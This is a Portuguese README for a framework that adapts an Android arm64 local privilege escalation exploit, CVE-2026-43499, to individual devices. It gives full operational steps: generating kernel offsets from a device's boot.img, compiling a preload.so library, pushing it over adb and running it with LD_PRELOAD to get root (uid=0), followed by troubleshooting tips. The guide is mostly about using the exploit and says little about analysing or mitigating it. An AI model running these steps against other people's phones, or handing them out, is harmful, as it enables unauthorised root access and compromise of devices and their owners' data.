
Gera offsets de kernel por dispositivo a partir do boot.img e compila uma biblioteca de pré-carregamento para explorar a escalada de privilégios local no Android arm64 (CVE-2026-43499).
English | 中文
Este é um projeto de adaptação para escalada local de privilégios no Android arm64 usando a CVE-2026-43499.
O projeto gera o target.h com base no boot.img e nas informações de profile do dispositivo de destino e, em seguida, compila o preload.so correspondente.
Observação: este projeto é um framework de adaptação genérico e não está vinculado a um único modelo de dispositivo. A disponibilidade real depende de o
generate_target.pyconseguir gerar otarget.hcom sucesso e dos resultados dos testes em dispositivo real.
diretório_do_projeto/
├── boot.img # imagem boot do firmware do dispositivo de destino
├── profile.json # profile do dispositivo de destino
├── detect_offset.py # usado para detectar o profile
├── generate_target.py # gera o target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # gerado automaticamente
└── source/build/bin/
└── preload.so # artefato compilado
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
No Windows, é recomendado usar:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
Instale o make no MSYS2:
pacman -S make coreutils
Você precisa preparar:
boot.img
profile.json
Exemplo de profile:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Esses dois endereços do profile:
p0_phys_offset
p0_kernel_phys_load
podem ser obtidos executando o script em um telefone já com Root e com o mesmo firmware do boot.img de destino:
python3 detect_offset.py
No Windows também pode:
python detect_offset.py
Linux / macOS:
cd CAMINHO/projeto
Exemplo no Windows MSYS2:
cd CAMINHO/CVE-2026-43499-Poc-Analysis-main
Exemplo no Linux / macOS:
export ANDROID_NDK_HOME=CAMINHO/android-ndk
Exemplo no Windows MSYS2:
export ANDROID_NDK_HOME=CAMINHO/android-ndk-r29
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h
Ou use no CMD:
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
Se aparecer um aviso de que llvm-objdump não foi encontrado, especifique o caminho manualmente:
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h \
--llvm-objdump "CAMINHO/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
Ou use no CMD:
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "CAMINHO/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
Após o sucesso, você verá algo como:
Gerado com sucesso: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
Após o sucesso, será gerado:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell "chmod 0644 /data/local/tmp/preload.so"
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
Verificação:
adb shell "/data/local/tmp/su -c 'id'"
Em caso de sucesso, normalmente você verá:
uid=0(root) gid=0(root)
Seguindo seu exemplo de caminho:
cd CAMINHO/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=CAMINHO/android-ndk-r29
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
make -C source clean preload NDK_PREBUILT=windows-x86_64
Arquivo final:
source/build/bin/preload.so
Instale o LLVM ou use:
--llvm-objdump "CAMINHO/llvm-objdump"
No Windows, instale pelo MSYS2:
pacman -S make coreutils
Geralmente é porque o caminho do NDK não está configurado corretamente.
Exemplo no Windows MSYS2:
export ANDROID_NDK_HOME=CAMINHO/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
Normalmente significa que o boot.img atual ou o layout do kernel ainda não foi adaptado com sucesso.
Verifique principalmente:
se o boot.img está completo
se o profile está correto
se o llvm-objdump está disponível
se o kernel possui IKCONFIG / kallsyms / BTF
target.h.target.h manualmente; ele deve ser gerado automaticamente pelo generate_target.py.